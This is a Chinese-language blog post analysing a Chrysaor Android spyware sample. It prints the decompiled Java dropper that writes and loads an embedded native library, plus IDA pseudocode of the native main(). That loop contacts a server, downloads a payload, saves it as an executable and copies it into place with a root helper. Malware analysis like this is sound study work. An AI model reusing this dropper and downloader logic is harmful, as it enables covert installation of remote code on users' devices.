android malware

来源：
https://github.com/fs0c131y/Android-Malwares/tree/c897dff1796c9cb7f19104e9ce3546d54cd55a45/Chrysaor/

3474625e63d0893fc8f83034e835472d95195254e1e4bdf99153b7c74eb44d86

用JEB看是这样一个结构
先看manifest发现用到了超多权限，然后入口是这里

反编译得到其Java代码

package com.network.android;import android.app.Activity;
import android.os.Bundle;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;public class NetworkMain extends Activity {public NetworkMain() {super();}protected void onCreate(Bundle arg8) {super.onCreate(arg8);String v2 = "/data/data/com.network.android/libsgn.so";try {InputStream v1 = this.getResources().getAssets().open("libsgn.so");byte[] v0 = new byte[v1.available()];v1.read(v0);ByteArrayOutputStream v3 = new ByteArrayOutputStream();v3.write(v0);v3.close();v1.close();FileOutputStream v4 = new FileOutputStream(v2);v3.writeTo(((OutputStream)v4));((OutputStream)v4).close();System.load(v2);}catch(Throwable v5) {}catch(Exception v5_1) {}catch(IOException v5_2) {}this.finish();}
}

发现并没有界面，直接将assets目录下的.so写入android的这个路径
/data/data/com.network.android/libsgn.so，然后用

Syste.load()

加载.so，然后就得转战IDA了。
然而并不会分析，只能看一堆strings

哦对了可以看一下JNI_onLoad()

发现它调用了fork()然后main()!
看到main的代码很牛啊，然而很多不懂的函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{void *v3; // r0@1int v4; // r5@2int v5; // r7@6void *v6; // r5@7char *v7; // r0@12const char *v8; // r2@12const char *v9; // r3@12char *v10; // [sp+0h] [bp-4A0h]@0char *v11; // [sp+4h] [bp-49Ch]@0int v12; // [sp+Ch] [bp-494h]@7char *v13; // [sp+10h] [bp-490h]@7int v14; // [sp+1Ch] [bp-484h]@1int v15; // [sp+20h] [bp-480h]@1void *ptr; // [sp+24h] [bp-47Ch]@1int v17; // [sp+28h] [bp-478h]@7char v18; // [sp+2Ch] [bp-474h]@1char v19; // [sp+3Ch] [bp-464h]@1char v20; // [sp+60h] [bp-440h]@1char s; // [sp+84h] [bp-41Ch]@1int v22; // [sp+484h] [bp-1Ch]@1v14 = 0;v15 = 0;v22 = _stack_chk_guard;ptr = 0;memset(&s, 0, 0x400u);memset(&v19, 0, 0x21u);memset(&v18, 0, 0xDu);v3 = memset(&v20, 0, 0x21u);handle_signals(v3);g_sleep_time_in_seconds = 30;sleep(0x1Eu);geteuid();while ( 1 ){v4 = 0;if ( socket_connect(&v14, SERVERS, unk_600C) == 1 ){get_random_hexlified_md5(&v19);get_mac_address(&v18);get_hexlified_md5(&v18, &v20, 12);if ( http_send_request_with_get(&v20, &v19, SERVERS, v14) == 1 && http_receive_payload(v14, &ptr, &v15) == 1 ){socket_disconnect(&v14);if ( socket_connect(&v14, SERVERS, unk_600C) == 1 ){v5 = v15;v4 = 1;if ( v15 > 0 ){v12 = v14;v6 = ptr;v13 = SERVERS;v17 = 0;if ( file_exists("/system/csk", &v17) != 1 )goto LABEL_17;if ( v17 ){if ( write_buffer_as_executable(v6, v5, "/data/data/com.network.android/.coldboot_init") != 1|| system("/system/csk \"cat /data/data/com.network.android/.coldboot_init > /mnt/obb/.coldboot_init\"") == -1|| system("/system/csk \"chmod 711 /mnt/obb/.coldboot_init\"") == -1 ){
LABEL_17:v4 = 0;goto LABEL_18;}unlink("/data/data/com.network.android/.coldboot_init");v7 = &s;v8 = "%s";v9 = "/mnt/obb/.coldboot_init";}else{if ( write_buffer_as_executable(v6, v5, "/data/data/com.network.android/.coldboot_init") != 1 )goto LABEL_17;v7 = &s;v8 = "%s";v9 = "/data/data/com.network.android/.coldboot_init";}if ( snprintf(v7, 0x3FFu, v8, v9, v10, v11) <= 0 )goto LABEL_17;v10 = &v19;v11 = v13;v4 = sub_1CF4(v12, &s, v17, &v20);if ( v4 != 1 )goto LABEL_17;}}}}
LABEL_18:if ( ptr ){free(ptr);ptr = 0;}socket_disconnect(&v14);if ( v4 == 1 )pthread_exit(0);sleep(g_sleep_time_in_seconds);}
}

android malware相关推荐

Using Markov Chains for Android Malware Detection
If you're chatting with someone, and they tell you "aslkjeklvm,e,zk3l1" then they're speak ...
安卓恶意代码数据集（Android Malware and Benign apps）整理
因为最近想做一些简单的实验,而自己之前收集的数据找不着了,所以又看了看别人的推荐,发现ResearchGate上这个讨论里有些回答还是总结得很好的: https://www.researchgate. ...
android 外文期刊_AndroSimilar: Robust signature for detecting variants of Android malware
[摘要]Android Smartphone popularity has increased malware threats forcing security researchers and Ant ...
Android malware样本SLocker Mobile Ransomware
样本下载: http://appscan.io/app-report.html?id=d72ca5ca1e7dc6431c041bfc6d7e3f9bfa39959c 分析: http://blog. ...
【恶意软件检测】【防】DeepRefiner: Multi-layer Android Malware Detection
文中部分内容来自:复旦白泽战队微信公众号文章论文链接:点击查看本文发表在2018 IEEE European Symposium on Security and Privacy (EuroS&a ...
paper—HAWK: Rapid Android Malware Detection Through Heterogeneous Graph Attention Networks
通过异构图形注意网络快速检测Android恶意软件目录摘要一.引言二.背景和概述 A.动机和问题范围 B.我们的HAWK方法三.基于HIN的数据建模 A.特征工程 B.构建HIN C.从HI ...
目前的Android恶意软件分类
本文总共列出了119类恶意软件家族列表列出了截止日期是2013年2月28日的Android平台上的木马以及在mobile-sandbox-system上的检测结果.这个表会一直更新,每个家族选取一列 ...
基于深度学习的安卓恶意应用检测----------android manfest.xml + run time opcode, use 深度置信网络（DBN）...
基于深度学习的安卓恶意应用检测 from:http://www.xml-data.org/JSJYY/2017-6-1650.htm 苏志达, 祝跃飞, 刘龙摘要: 针对传统安卓恶意程序检测 ...
【Android 插件化】恶意软件判定规则 | 恶意软件的范围定义
文章目录一.恶意软件判定规则二.恶意软件的范围定义一.恶意软件判定规则在 [Android 插件化]基于插件化的恶意软件的加载策略分析 ( 自定义路径加载插件 | 系统路径加载插件 | 用户同 ...

android malware

3474625e63d0893fc8f83034e835472d95195254e1e4bdf99153b7c74eb44d86

android malware相关推荐

最新文章

热门文章